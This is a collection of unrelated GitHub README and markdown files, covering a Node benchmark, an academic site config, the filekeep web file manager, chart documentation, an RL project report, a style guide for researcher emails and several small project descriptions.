![png](./output_images/detection_on_test_images.png)

[Here](https://www.youtube.com/watch?v=PncSIx8AHTs) is the result of applying the same pipeline to a video.

## Discussion

## Reference

1. J. Redmon, S. Divvala, R. Girshick, and A. Farhadi, You Only Look Once: Unified, Real-Time Object Detection, arXiv:1506.02640 (2015).
2. J. Redmon and A. Farhadi, YOLO9000: Better, Faster, Stronger, arXiv:1612.08242 (2016).
3. darkflow, https://github.com/thtrieu/darkflow
4. Darknet.keras, https://github.com/sunshineatnoon/Darknet.keras/
5. YAD2K, https://github.com/allanzelener/YAD2K


text:
# Benchmark

> Benchmark the performace between `feathers-mongoose` bulk create and `feathers-mongoose-advanced` bulk create. `feathers-mongoose-advanced` will push all validation errors and write errors into `params.errors` so that they can be pulled out in an `after` hook and dealt with. Currently `feathers-mongoose` will go to `error` hooks as an error bubbles up from validation/write errors.

# Results
Running some simple tests within postman to send bulk data to the services.

#### 5000 records (50 validation errors)
```
    ✓ Inserting 5000 Records with feathers-mongoose (3683ms)
      3682.463ms
    ✓ Inserting 5000 Records with feathers-mongoose-advanced (2082ms)
      2081.249ms
    ✓ Inserting 5000 Records with feathers-mongoose (2595ms)
      2594.169ms
    ✓ Inserting 5000 Records with feathers-mongoose-advanced (1486ms)
      1485.792ms
    ✓ Inserting 5000 Records with feathers-mongoose (2477ms)
      2477.016ms
    ✓ Inserting 5000 Records with feathers-mongoose-advanced (1255ms)
      1254.601ms
    ✓ Inserting 5000 Records with feathers-mongoose (2475ms)
      2475.524ms
    ✓ Inserting 5000 Records with feathers-mongoose-advanced (1101ms)
      1100.355ms
```
## Getting Started

Getting up and running is as easy as 1, 2, 3.

1. Make sure you have [NodeJS](https://nodejs.org/) and [npm](https://www.npmjs.com/) installed.
2. Install your dependencies

    ```
    cd path/to/benchmark; npm install
    ```

3. Start your app

    ```
    npm start
    ```

repository: Mattchewone/benchmark

repo_name: Mattchewone/benchmark


text:
+++
# Experience widget.
widget = "experience"  # See https://sourcethemes.com/academic/docs/page-builder/
headless = true  # This file represents a page section.
active = false  # Activate this widget? true/false
weight = 10  # Order that this section will appear.

title = "Appointments"
subtitle = ""

# Date format for experience
#   Refer to https://sourcethemes.com/academic/docs/customization/#date-format
date_format = "Jan 2006"

# Experiences.
#   Add/remove as many `[[experience]]` blocks below as you like.
#   Required fields are `title`, `company`, and `date_start`.
#   Leave `date_end` empty if it's your current employer.
#   Begin/end multi-line descriptions with 3 quotes `"""`.

[[experience]]
  title = "Associate Professor"
  company = "Linguistics Department, University of California, Los Angeles"
  company_url = "https://linguistics.ucla.edu"
  location = "Los Angeles"
  date_start = "2019-07-01"
  date_end = ""
  description = """

  """

[[experience]]
  title = "Associate Professor"
  company = "Program in Indo-European Studies, University of California, Los Angeles"
  company_url = "https://pies.ucla.edu"
  location = "Los Angeles"
  date_start = "2019-07-01"
  date_end = ""
  description = """

  """

[[experience]]
  title = "Assistant Professor"
  company = "Linguistics Department, University of California, Los Angeles"
  company_url = "https://linguistics.ucla.edu"
  location = "Los Angeles"
  date_start = "2015-07-01"
  date_end = "2019-06-30"
  description = """

  """

[[experience]]
  title = "Assistant Professor"
  company = "Program in Indo-European Studies, University of California, Los Angeles"
  company_url = "https://pies.ucla.edu"
  location = "Los Angeles"
  date_start = "2015-07-01"
  date_end = "2019-06-30"
  description = """

  """

[[experience]]
  title = "Universitätsassistent"
  company = "Institut für Sprachwissenschaft, Universität Wien"
  company_url = "https://linguistik.univie.ac.at"
  location = "Vienna"
  date_start = "2012-10-01"
  date_end = "2015-09-30"
  description = """

  """

[[experience]]
  title = "Kooperationspartner (Adjunct)"
  company = "Vergleichende und Indogermanische Sprachwissenschaft sowie Albanologie, Ludwig-Maximilians-Universität München"
  company_url = "https://www.indogermanistik.uni-muenchen.de/index.html"
  location = "Munich"
  date_start = "2011-03-01"
  date_end = "2011-07-30"
  description = """

  """

[[experience]]
  title = "Mitarbeiter"
  company = "Thesaurus linguae Latinae"
  company_url = "https://thesaurus.badw.de/en/project.html"
  location = "Munich"
  date_start = "2010-07-15"
  date_end = "2012-07-30"
  description = """

  """

[[experience]]
  title = "Graduate Student Papyrologist"
  company = "Department of Classics, University of California, Berkeley"
  company_url = "https://www.lib.berkeley.edu/libraries/bancroft-library/tebtunis-papyri"
  location = "Munich"
  date_start = "2003-09-01"
  date_end = "2006-05-31"
  description = """

  """

+++

repository: DMGoldstein/academic

repo_name: DMGoldstein/academic


text:
![FK](https://i.imgur.com/LozuBJ1.png)

# filekeep

[![GoDoc](https://godoc.org/github.com/vlad-s/filekeep?status.svg)](http://godoc.org/github.com/vlad-s/filekeep)
[![Go Report Card](https://goreportcard.com/badge/github.com/vlad-s/filekeep)](https://goreportcard.com/report/github.com/vlad-s/filekeep)
[![Twitter URL](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/0x766c6164)

> Your own web file keeper

filekeep aims to be a simple, yet powerful, web file manager. It's easy to configure, and easier to use.
It has all assets (CSS files and HTML templates) bundled into the binary, for easy and instant deployment.

## Getting started

Assuming you have a working Go environment, installing and running it is as easy as doing:

```bash
go get https://github.com/vlad-s/filekeep && filekeep
```

This will get the latest version of `filekeep` and run it in the current directory.
For customizing the config, please read [Configuration](#configuration).

## Developing / Building

In case you want to modify the templates or CSS files without getting into the code, there's a little bash
script to help you rebuild the assets.

```bash
git clone https://github.com/vlad-s/filekeep
cd $GOPATH/src/github.com/vlad-s/filekeep
make
```

The `Makefile` provided has rules for running the binary (`make run` - also rebuilds the assets),
building the project (default, `make` or `make build`), (re)building the assets (`make assets`), and
writing the default config to disk (`make config` - builds & invokes `filekeep -dump-config`).

Building all assets can be done directly through executing `build_assets.sh` (or `make assets`), or for a single one,
provide the parameters directly into the shell as arguments. For example:

```bash
./build_assets.sh "templates:header.html:HTMLHeader"
```

### Deploying / Publishing

Usually you'll want to listen to a local port, and proxy the trafic through your web server of choice.
`filekeep` is not intended to be exposed directly to the internet, as there's no SSL/TLS configuration.
For example, on `nginx`, a simple proxy config for a local listener on port `8080` would look like this:

```
server {
    listen 80;
    listen [::]:80;

    server_name filekeep.domain.tld;

    return 301 https://filekeep.domain.tld$request_uri;
}

server {
    listen 443 ssl http2;
    listen [::]:443 ssl http2;

    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/privkey.pem;

    server_name filekeep.domain.tld;

    location / {
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_pass http://localhost:8080;
    }
}
```

This will redirect all HTTP requests from your domain to HTTPS, which will proxy the traffic to the local listening port
of `filekeep`. For info on good SSL configuration for your web server of choice, please see [cipherli.st](https://cipherli.st/).

## Features

What can `filekeep` do?

* Extendable config, allowing fine tuning and many configuration possibilities:
    * Listening address and port,
    * Root directory,
    * Hiding files and directories by name, path, extension, or if starting with dot.
* Fast serving/routing, as result of [julienschmidt/httprouter](https://github.com/julienschmidt/httprouter).
* Fast & instant deploy of the binary, as all assets are bundled:
    * Rebuilding the `.go` files of the assets is as easy as running `make assets`.
* Pretty logging, courtesy of [Sirupsen/logrus](https://github.com/Sirupsen/logrus):
    * The debugging flag in the config, if set to `true`, sets the debug level to **Debug**, otherwise defaults to **Info**.
* Breadcrumbs for easy navigation.
* Children files and directories count, file size.
* Password protected files - don't let everyone get everything.
* JSON representation of the requested file or directory - just append `?json` to every URL.

## Configuration

Configuration of the project is managed by a `config.json` file next to the binary.
The default config (containing all options) can be dumped to disk using the `-dump-config` flag.
A local, customised config can be loaded at start up by using the `-load-config` flag.

#### -dump-config
Type: `bool`
Default: `false`

Will dump the default config to disk and exit. Logs any error encountered, if any.

Example:
```bash
filekeep -dump-config # dump the default config
ls config.json >/dev/null && echo "Config is present" # prints Config is present
```

#### -load-config
Type: `bool`
Default: `false`

Will load the config from disk, and continue to run. Logs any error encountered, if any.

Example:
```bash
filekeep -dump-config # dump the default config
$EDITOR config.json   # edit the config using your editor
filekeep -load-config # load the config
```

## Password protection

Currently, you can set a password for every file and directory, by creating a text file named the same as the file, but with a prepended dot, containing the MD5 sum of the password.
For example, to protect `foobar.txt` with the password `1234`, we will need to create `.foobar.txt` in the same directory as the initial file, and write `81dc9bdb52d04dc20036dbd8313ed055` in it.
The MD5 sum can be generated on Linux/Unix systems using the `md5` or `md5sum` binaries piped on `echo`. Or, you can use various web services, like [duckduckgo](https://ddg.gg/?q=md5+1234).

For example:
```bash
# on Debian
echo -n 1234 | md5sum
81dc9bdb52d04dc20036dbd8313ed055  -
# on macOS
echo -n 1234 | md5
81dc9bdb52d04dc20036dbd8313ed055
```

The `-n` flag will make `echo` to not print the trailing newline character, otherwise entering the correct password in the web form won't allow access to the file, as MD5 sums are different.

## Contributing

If you'd like to contribute to the development of `filekeep`, please fork the repository.
Pull requests are more than welcome.

For the contributing guide, please read the `CONTRIBUTING.md`
file inside this repo.

## Links

- Issue tracker: https://github.com/vlad-s/filekeep/issues
  - In case of sensitive bugs like security vulnerabilities, please contact<EMAIL_ADDRESS>directly
    instead of using issue tracker. Thank you for improving the security and privacy of this project!

## Licensing

The code in this project is licensed under MIT license. Full license can be found in the `LICENSE` file
inside this repo.

repository: vlad-s/filekeep

repo_name: vlad-s/filekeep


text:
---
title: Pan and Zoom
page_title: Chart Axes Pan and Zoom | Progress NativeScript UI Documentation
description: This article describes how to use the pan and zoom feature in NativeScript UI Chart.
slug: chart-axes-pan-and-zoom
tags: radchart, overview, chart, nativescript, professional, ui, pan, zoom
position: 3
publish: true
---

# Chart Axes Pan & Zoom

If you followed the [getting started]({% slug chart-getting-started %} "Chart Getting Started") article, you now know how to create a chart and add it to a NativeScript page. In this article, you will learn how to enable the pan and zoom feature that allows users to zoom in and out of the chart through pinch gesture and pan through swipe.

* [Getting Started](#getting-started)
* [Zoom Factor](#zoom-factor)
* [Events](#events)
* [References](#references)

## Getting Started

There are two boolean properties that enable this feature:
* {% typedoc_link classes:CartesianAxis,member:allowZoom %} - Used to enable zooming by the axis.
* {% typedoc_link classes:CartesianAxis,member:allowPan %} - Used to enable panning by the axis.

## Zoom Factor

You can programmatically define a zoom factor by which the chart will zoom. This is done via two properties exposed by {% typedoc_link classes:RadCartesianChart %}:
- {% typedoc_link classes:RadCartesianChart,member:horizontalZoom %} - Defines the zoom factor applied to the horizontal axis if zoom is enabled on it.
- {% typedoc_link classes:RadCartesianChart,member:verticalZoom %} - Defines the zoom factor applied to the vertical axis if zoom is enabled on it.

For example, if you set one of these properties to `1.5` this will apply a 50% zoom relative to the original zoom factor of 1.

## Events

To notify you when the selection state of an item is changed, the chart exposes the following events:
- `chartZoomed` - Fired multiple times when the chart is zooming.
The event data argument provides information about the event name and the chart that is zoomed.
- `chartPanned` - Fired multiple times when the chart is panning.
The event data argument provides information about the event name and the chart that is panned.

With the following example you can see that pan & zoom properties could be used for any axis assigned to a series or to the chart along with events handling.

#### Example 1: Pan and Zoom Enabled

<snippet id='pan-and-zoom'/>

## References

Want to see this scenario in action?
Check our [SDK Examples](https://github.com/NativeScript/nativescript-ui-samples) repository on GitHub. You will find this and many other practical examples with NativeScript UI.

Examples used in this article:

* [Pan and Zoom Example](https://github.com/NativeScript/nativescript-ui-samples/tree/master/chart/app/examples/behaviors)

Related articles you might find useful:

* [**Series Overview**]({% slug chart-series-overview %})
* [**Axes Overview**]({% slug chart-axes-overview %})
* [**Selection**]({% slug chart-series-selection %})

repository: CHAITANYASAI-del/docs

gha_language: CSS

repo_name: CHAITANYASAI-del/docs


text:
---
author: alexandre.normand
date: 2015-09-27 22:00:00-07:00
layout: post
Title: Glukloader 1.0.4
---

Here's a bugfix release for something I hope I was the only one experiencing. I had noticed that my keyboard and mouse (and USB peripherals) on `iMac` would sometime stop working after it going to sleep. At first, I suspected a hardware issue but I started noticing one day that I had my Dexcom receiver plugged in before my Mac went idle. And it happened a few more times when my receiver was plugged in again. So I cleaned up a little the management of the USB device and made sure it would be closed after a successful sync rather than keeping it open. After some testing, it looks like that might have been it.

Or maybe it was all a coincidence but either way, `Glukloader 1.0.4` is being a little more conservative in closing the resources and it's for the best.

If you did have mysterious issues with your peripherals not responding after going idle, I apologize. Hopefully, this will solve that mystery.

Grab the latest build [here](https://www.dropbox.com/s/8nmjk1pi93p4kcw/glukloader%201.0.4.dmg?dl=1).

repository: glukit/blog

repo_name: glukit/blog


text:
---
layout: creature
name: "Choker"
tags: [pequena, aberracion, cr1, mordenkainens-tome-of-foes]
page_number: 123
cha: 7 (-1)
wis: 12 (+1)
int: 4 (-3)
con: 13 (+1)
dex: 14 (+2)
str: 16 (+3)
size: Small aberration
alignment: caótico maligno
challenge: "1 (100 XP)"
languages: "Deep Speech"
senses: "darkvision 60 ft., passive Perception 11"
skills: "Sigilo +6"
speed: "30 ft."
hit_points: "13  (3d6 + 3)"
armor_class: "16 (armadura natural)"
---

***Aberrant Quickness (Recharges after a Short or Long Rest).*** The choker can take an extra action on its turn.

***Boneless.*** The choker can move through and occupy a space as narrow as 4 inches wide without squeezing.

***Spider Climb.*** The choker can climb difficult surfaces, including upside down on ceilings, without needing to make an ability check.

### Acciones

***Multiattack*** The choker makes two tentacle attacks.

***Tentacle*** Ataque de arma cuerpo a cuerpo: +5 al ataque, alcance 10 pies (3 mts), un objetivo. Impacto: 5 (1d4 + 3) puntos de daño contundente más 3 (1d6) puntos de daño perforante. If the target is a Large or smaller creature, it is grappled (escape DC 15). Until this grapple ends, the target is restrained, and the choker can't use this tentacle on another target. The choker has two tentacles. If this attack is a critical hit, the target also can't breathe or speak until the grapple ends.


text:
# Celebrate 10 years of Just Dance by helping raise money for Alzheimer’s Research UK

Published at: **2019-11-05T20:04:00+00:00**

Author: **Ash**

Original: [MSPoweruser](https://mspoweruser.com/just-dance-alzheimers-research-uk/)

        Just Dance 2020 launches today and in celebration of 10 years of the Just Dance series, Ubisoft is helping raise money for Alzheimer’s Research UK.

If you want to help out the charity, all you need to do is simply Retweet the Tweet below, comment on the Instagram post below, or share the Facebook post found in the following link. You don’t need to be in the UK to help out – you just need a public Twitter, Instagram, or valid Facebook account.
For every share and comment gained, Ubisoft will donate £1 to charity, up to a total of £30,000.

license: Unlicense

repository: dsadlollioygjmzvcxv/tdc-exported

repo_name: dsadlollioygjmzvcxv/tdc-exported


text:
# docker-jboss
This is a JBoss 7.1 container on CentOS 7.2 1511.
Uses ports : 8080 8442 8443
This container should be used as a base for app containers, not directly.

Sample usage:
`docker run -P -d --name jboss bsarda/jboss`

repository: bsarda/docker-jboss

repo_name: bsarda/docker-jboss


text:
---
layout: article
title: Glossary
date: 2019-12-19T16:25:26.694Z
type: article
published: 'true'
status: publish
---
# Glossary
Version 0.1.0 RETIRED

[Change history >]({{ site.baseurl }}/articles/glossary-change-history.html)

_© Crown copyright 2020, except where otherwise stated._

GLOSSARY CONSOLIDATED WITH BUSINESS RULES. Please see the latest business rules for the latest glossary.

## Table of contents

* [Street Manager Glossary](#street-manager-glossary)

* [External Glossaries](#external-glossaries)

## Street Manager Glossary

Term

Definition

Activity

A record of a public event or highway license.

Note: this is different to “Works activity” that is defined separately in this glossary.

Change Request (CR)

An application to amend (or a historical record of an amendment of) an existing PAA or Permit Application (PA).

Related to what was previously known as “Works Data Alteration”

Designations

Should be interpreted to mean Special Designations (except where otherwise qualified).

See the GeoPlace glossary for the definition of Special Designation.

Failed — high

A failed outcome of any inspection with higher risk inadequacies or defects causing danger. See the Code of Practice for Inspections for more information.

Failed — low

A failed outcome of any inspection with higher risk inadequacies or defects are not causing danger. See the Code of Practice for Inspections for more information.

Final site registered

An indicator to advise when no more sites will be registered for the latest PA.

Related to what was previously known as ‘full registration’.

Forward plan

A record containing information on a promoter’s potential major road or street works that has been planned as part of their long-term programme.

Previously known as ‘forward planning information’.

Geographic area

An area within a HA organisation used to divide works and records geographically for HA users (such as permit officers or inspectors).

Highway Authority (HA)

As defined in sections 1 and 329 of the Highways Act.

Historic / Historical works

Works recorded and completed outside of Street Manager e.g. works recorded in EToN.

Modification requested

HA has requested for changes to be made on a PA.

Minimum notice period

The minimum period of notice to be given to the Highway Authority for street works. See the NRSWA for more information.

PAA

Provisional Advance Authorisation. The early provisional approval of activities in the highway.

Primary notice authority

The Highway Authority responsible for the coordination of Street Works on the specified street or part street. In the case of Private Streets this is the Local Highway Authority whose area covers the Private Street.

Promoter / Works promoter / Promoter organisation

Any organisation undertaking works on the Highway under a Statutory Undertakers Licence or a Highway Authorities Licence and working within the NRSWA / Traffic Management Act (TMA) legislative framework.

Response period

The maximum period that a Highway Authority has to respond to an application prior to the application deeming.

Working day

As defined in the Glossary of the NRSWA.

Works activity

The reason for undertaking the works.

Note: this is different to “Activity” that is defined separately in this glossary.

Works record

A repository of notifications (such as PAA/PAs, reinstatements, inspections and FPNs) and file attachments associated with a particular works.

Works stop

Notification used to indicate that the promoter is no longer occupying the highway. Serves the purposes of both the works clear and works closed notice described in the legislation.

Workstream

An area within a promoter or HA organisation used to divide works and records for planner users.

Related to what were previously known as ‘operational districts’.

## External Glossaries

Useful resources containing Street-works-related glossary sections below:
* New Roads and Street Works Act (NRSWA):
<https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/43578/street-works-code-of-practice.pdf>

* GeoPlace glossary:
<https://www.geoplace.co.uk/helpdesk/faqs/glossary>


text:
# Project report

## Learning algorithm

We implemented the multi agent deep deterministic policy gradient algorithm (MADDPG), introduced to solve deep reinforcement learning problems with continuous actions for multiple agent environments. For more information, please see the linked [article](https://papers.nips.cc/paper/7217-multi-agent-actor-critic-for-mixed-cooperative-competitive-environments.pdf).

The algorithm uses two networks: an _actor network_ which takes the current environment state as input and outputs an action and a _critic network_ which takes the current state and action and returns the value of the state action function. Those networks are shared by all agents in the environment and the _personalized_ experiences from the perspective of each of the agents are saved in a collective replay buffer.

For the replay buffer we considered the cases with [prioritized experience replay](https://arxiv.org/abs/1511.05952) and without. We observed that both methods converge to a solution of the environment but rather unstable. I.e. for given fixed hyper parameters the number of episodes needed before solving the environment varies strongly with the initial conditions (for example the choice of the seed for the random number generator). We observed that in most cases the **MADDPG algorithm performs better in combination with prioritized experience replay**.

The convergence speed was increased when we used a **hard update of the target networks** (i.e. the target network were completely overridden after a given number of update steps and remained otherwise fixed). In contrast, the soft update is commonly used in applications with underlying [DDPG](http://proceedings.mlr.press/v32/silver14.pdf) or [deep Q-learning](https://storage.googleapis.com/deepmind-media/dqn/DQNNaturePaper.pdf)) algorithms.

### Hyper Parameters and Architecture

To solve the environment we used the following network architectures:

-----------ACTOR NETWORK-----------

Actor(

     (network): ModuleList(

          (0): Linear(in_features=24, out_features=256, bias=True)

               ---> Relu Activation

          (1): Linear(in_features=256, out_features=64, bias=True)

               ---> Relu Activation

          (2): Linear(in_features=64, out_features=32, bias=True)

               ---> Relu Activation

     )

     (outLayer): Linear(in_features=32, out_features=2, bias=True)

          ---> Tanh Output Functoin

)

-----------CRITIC NETWORK-----------

Critic(

     (network): ModuleList(

          (0): Linear(in_features=24, out_features=256, bias=True)

               ---> Relu Activation

          (1): Linear(in_features=258, out_features=128, bias=True)

               ---> Relu Activation

          (2): Linear(in_features=128, out_features=16, bias=True)

               ---> Relu Activation

     )

     (outLayer): Linear(in_features=16, out_features=1, bias=True)

)

with `ReLu` activation function for the hidden layers and a `tanh` output in the case of the actor network accounting for the fact that the actions are bound between -1 and +1.
Here we should mention that we were surprised to observe that both algorithms (with and without prioritized experience replay) performed worse when using batch normalization after the network layers.

The parameters used in the MADDPG algorithm are as follows:

- **gamma**:
    RL [discount factor](https://en.wikipedia.org/wiki/Q-learning#Discount_factor) for future rewards
- **learningRate (for actor and for critic)**:
    The learning rate for the gradient descent while training the (local) neural network;
    This parameter corresponds more or less to the [learning rate](https://en.wikipedia.org/wiki/Q-learning#Learning_Rate) in RL controlling how much the most recent episodes contribute to the update of the Q-Table
- **dqnUpdatePace**:
    Determines after how many state-action steps the local networks should be updated.
- **dnnUpdatePace (for actor and for critic)**:
    * If targetDqnUpdatePace < 1: a soft update is performed at each local network update
    * If targetDqnUpdatePace >= 1: the target network is replaced by the local network after targetDqnUpdatePace steps.
- **bufferSize**:2
    Size of the memory buffer containing the experiences < s, a, r, s’ >
- **batchSize**:
    The batch size used in the gradient descent during learning
- **batchEpochs**:
    The number of epochs when training the network

## Training and Results

To solve the environment we used following parameters:

|Parameter|Value|
|----------------------|-----|
|gamma|0.99|
|actorLearningRate|5e-4|
|criticLearningRate|5e-4|
|actorDnnUpdatePace|10|
|criticDnnUpdatePace|10|
|dnnUpdatePace|2|
|bufferSize|1e6|
|batchSize|128|
|batchEpochs|2|

With this parameters the environment was solved (i.e. the agents maintained an average score of 0.5 over 100 consecutive episodes) in 452 episodes for the Replay-Buffer without experience prioritization and for 212 episodes when using a prioritized experience replay.

## Possible Future Extensions of the Setting

1. It is clear that the parameters play a crucial role and one can always try to optimize these further.

The environment can be solved using a different algorithm and otherwise following the same idea of both agents sharing the underlying network and memory structures:

2. Truncated Natural Policy Gradient or Trust Region Policy Optimization: [link](https://arxiv.org/abs/1604.06778).

3. Proximal Policy Optimization Algorithms (PPO): [link](https://arxiv.org/pdf/1707.06347.pdf)

4. A3C: [link](https://arxiv.org/pdf/1602.01783.pdf)

5.  Distributed Distributional Deterministic Policy Gradients (D4PG): [link](https://openreview.net/pdf?id=SyZipzbCb)

6. Prioritized Experience Replay: [link](https://arxiv.org/abs/1511.05952)


text:
# Writing emails
## While all our rules apply to emails, we also have specific guidance for direct communication with researchers

### Make things as easy as possible for the researcher

Our overriding principle when writing emails is to make things as easy as possible for the researcher. In practice, this means following three principles:

#### 1. See things from the point of view of the researcher

This sometimes means turning things on their head - so that we’re not just thinking about what we want to tell the researcher, but what it is that the researcher wants to know or is expecting to hear from us. Often they simply want to know where they are in the process.

For instance, if we’re emailing an author to confirm that we’ve received their submission, they probably aren’t looking for a lot of warnings about what could happen if they do something wrong.

All they probably want to know is … where they are now … what happens next and how long it will take - without having to scroll through a long email or wade through a lot of detail to find it.

#### 2. Keep emails short and single minded

It’s tempting to imagine recipients reading our carefully crafted emails line by line. However, next time you open a random email from your inbox, take a moment to see exactly what you do.

Research shows that, after quickly scrolling to the bottom to gauge the email’s length, you’re likely to scroll back up and have a quick read of the opening paragraph before skimming the rest. In most cases the reason for writing an email is either to request that a researcher takes an appropriate action or to confirm that that action has now taken place.

So, for instance, if we’re telling the author that we’ve received their submission or letting them know that they need to make some revisions we should be as concise as possible, including just enough information to
a)    Provide the researcher with the information they need
b)    To support the process

#### 3. Emails aren’t the place to cover off lots of policies and general catch-alls

While it can be tempting to throw everything into an email just to make sure we’ve covered ourselves – it doesn’t make for a user-friendly experience. Our aim is to keep things simple and single-minded.

This means we should start by cutting out the clichés. It can be tempting to fall back on stock phrases when opening and closing emails. However, in most cases, the best solution is simply to remove them and get straight to the point. A good example is the commonplace greeting, ‘We hope this email finds you well’, which can sound empty and meaningless.

The same goes for using a standard closing such as, ‘We look forward to hearing from you soon’. If we need to hear from someone soon, it’s far better to be as specific as we can and to say it up front.

### Keep subject lines short

StoA (Submit to Accept) automated emails are sent from the following addresses<EMAIL_ADDRESS>and<EMAIL_ADDRESS> So, to make sure recipients can instantly see the journal title in their mailbox, we need to add it to the subject line as follows:

Subject line: Scientific Reports: Your submission to our journal

The above subject line is 50 characters. Bear in mind that an iPhone only shows the first 40 characters when an email arrives in someone’s mailbox, so it’s important to to include the most important part of the message within the first 40 or so characters).

> Tip: Don’t include ‘Confidential’ in subject lines as the emails are likely to end up in the recipient’s spam folder.

### Using our no-reply email address

If we’re using the no-reply email address, we should ideally give recipients an alternative method of replying or greeting help within the body of the email.

### Keep the text clean and uncluttered

The current StoA emails are in plain text, which means we can’t use any formatting. However, when possible, journal titles, such as Scientific Reports, should be italicised. Other formatting should be kept to a minimum, keeping the text clean and uncluttered.

### Keep bullet points consistent

Bullet points can be a useful way of making complex items easier to grasp and drawing attention to important information.
To make sure they work effectively:
* Put your important points first
* Try to be brief and to the point
* Keep the structure the same for each bullet
* Make each line roughly the same length
* Try not to include more than 5 points

Keeping the structure the same means making sure each bullet point starts with the same part of speech (usually a noun or a verb) and that they are all either fragments or complete sentences. Complete sentences should include full stops. Fragments don’t generally need them.

Avoid repeating the same word(s) at the beginning of each bullet. Try putting them into an introductory line instead, followed by a colon.

For StoA plain text emails, we start each bullet with a black dot (not asterisks or unfilled circles).

### Use British English rather than American English

If you’re using Microsoft Word, you can set the spell checker to British English by clicking on Tools, Language, English (UK). For Google Docs, go to File, Language, English (United Kingdom). For an existing document, make sure you select all the text before changing the language setting.

In British English, both -ise and -ize endings are accepted for many words, but we tend to use the -ise ending, as follows:

British | American
----- | -----
apologise   | apologize
authorise   | authorize
categorise   | categorize
criticise   | criticize
emphasise   | emphasize
finalise   | finalize
organise   | organize
personalise   | personalize
prioritise   | prioritize
realise   | realize
recognise   | recognize

You can find a comprehensive list of British and American spelling differences here:
http://www.tysto.com/uk-us-spelling-list.html

One exception is the ‘License to publish’. Here we use the US spelling as it is how most people in the publishing world refer to it.

repository: springernature/ux-elements-docs

repo_name: springernature/ux-elements-docs


text:
# Changelog

## December 3, 2020
### Added
- Support for transactional api

### Removed
- Manual segmentation functions `AddCustomersToSegment` & `RemoveCustomersFromSegment`

### Changed
- ID fields in requests are url escaped
- Improved validations for required fields
- Updated `CustomerIO` struct to use a URL field instead of separate Host and SSL fields
- Improved test suite


text:
---
layout: post
title: "LQ Vol 3 Issue 3 Article 1: Reading Study"
date: 2013-12-16 22:29
comments: true
categories: [LQ Autoethno Field Notes, research, Author-Kuhlman, Affil-University of Chicago Libraries]
---

For an explanation of this post, see:
[Preface](/blog/2013/08/14/lq-autoethnography-research-journal-preface/)

---

This entry is about:

Kuhlman, Augustus Frederick. (1933). The Social Science
Research Council and the preservation of source
materials. *The Library Quarterly, 3*(3), 229-247.
url:[http://www.jstor.org/stable/4301985](http://www.jstor.org/stable/4301985)

---

**Note:** The first article of the third issue of the
third volume of *The Library Quarterly* is titled "The
Social Science Research Council and the preservation of
source materials."

It was written by August Frederick Kuhlman, who was
affiliated with:

**Affiliation:** University of Chicago Libraries

**Note:** Begins with a great description (definition)
of research libraries.

> The objectives of a research library may be said to be
> twofold. From one point of view, it is an end in
> itself. Its object as a depository is to acquire,
> organize, and preserve **all** of the material of
> merit within those fields of human knowledge and
> activity that fall within its defined scope. The aim
> is to be a treasure house which in its acquisitions
> has kept abreast of the progress of those sciences
> with which it is concerned, or has even anticipated
> coming trends. It stands ready to offer the scholar
> unexplored materials with which he can make new
> discoveries and extend the bounds of knowledge. From
> another point of view, however, the research library
> is a means and not an end. Its function is one of
> mediation between the scholar's research goals and the
> sources that must be discovered, acquired, and placed
> at his disposal under favorable working conditions if
> he is to be effective. To serve either of these
> functions well, particularly the latter, presupposes
> active teamwork between scholars and librarians, for
> the building of collections represents the product of
> constantly integrating sources that are to be acquired
> and preserved with the changing and evolving research
> objectives and goals of scholars (p. 229).

**Reflection:** I read those words above and I feel as
if they are now fighting words. Those words are
inspiring. And I want to talk with people about them.

**Note:** The rest of the paragraph highlights the
important relationship between librarians and scholars
in the pursuit of social science research.

**Note:** This is an important article. Details the
history of the Social Science Research Council,
discusses some of the important work in developing
collections that would enhance social science research,
and this includes important reference works such as
*Social Science Abstracts*, and highlights the
important role that librarians had in advancing social
scientific research.

repository: cseanburns/research-notebook

repo_name: cseanburns/research-notebook


text:
# horse-octet-stream
Middleware for work with application/octet-stream in HORSE

### For install in your project using [boss](https://github.com/HashLoad/boss):
``` sh
$ boss install github.com/HashLoad/horse-octet-stream
```

### Sample Horse Server with octet-stream middleware
```delphi
uses
  Horse, Horse.OctetStream;

var
  App: THorse;

begin
  App := THorse.Create(9000);

  App.Use(OctetStream);

  App.Post('marco',
    procedure(Req: THorseRequest; Res: THorseResponse; Next: TProc)
    var
      LStream: TFileStream;
    begin
      LStream := TFileStream.Create('c:\sample\demo.txt', fmOpenRead);
      Res.Send<TStream>(LStream);
    end);

  App.Start;
```

repository: slipkbode/horse-octet-stream

repo_name: slipkbode/horse-octet-stream


text:
# kvservice
A simple key-value service, with variations demonstrating different failure recovery strategies.

Client command line interface:

  Command	Description

get(id)	returns value for id

set(id,val)	sets value for id

testset(id,testVal,newVal)	if id has testVal as its value, set to newVal

exit	shuts down client

### Variation 1 - single server
A simple client/server system in which clients can send requests to read/write key-values.

![alt-text](https://github.com/msayson/kvservice/wiki/design_mockups/images/variation1singleserver.png "Diagram of single-server key-value service")

### Variation 2 - dynamic chain of servers (in progress)
A simple key-value service with data replication across a chain of N back-end servers.

- Client interacts with the front-end server exactly as in Variation 1
- A chain of N back-end servers store identical copies of all key-values
- Key-value write operations are performed on each back-end server, passed from one to the next until all are updated
- Key-value read operations are performed on the first back-end server in the chain
- Back-end nodes may join or leave the network at any time

Failure recovery strategy:

- Each server is aware of the next two nodes in the chain
- If one back-end server fails, its predecessor links to the next known node to reconnect the chain

Design properties:

- Robust to one back-end failing at a time, up to a maximum of N-1 back-end failures
- Not robust to the front-end server failing
- If two adjacent back-end nodes fail simultaneously, then subsequent back-end nodes will be stranded.  However, if at least one of the first two back-end nodes survives the failure, we can continue operating without a break in service.

### Disclaimer

This project was developed for educational purposes, and comes without warrantee or support.  However, feel free to copy and modify its code and ideas as you wish.

repository: msayson/kvservice

repo_name: msayson/kvservice


text:
# preparedfordisaster
401d7 Project week 1 project

##MVP:
+ Users can create a login (Auth)
+ Users can login securely after created.
+ Save info to the database.
+ RESTful routes that require the user to be logged in.
+ Email the user, back at user-defined interval.
+ Up on Heroku

##Stretch goals(not in order):
+ Have email reminder go out to household members and the emergency contact as well
+ Set calendar reminder
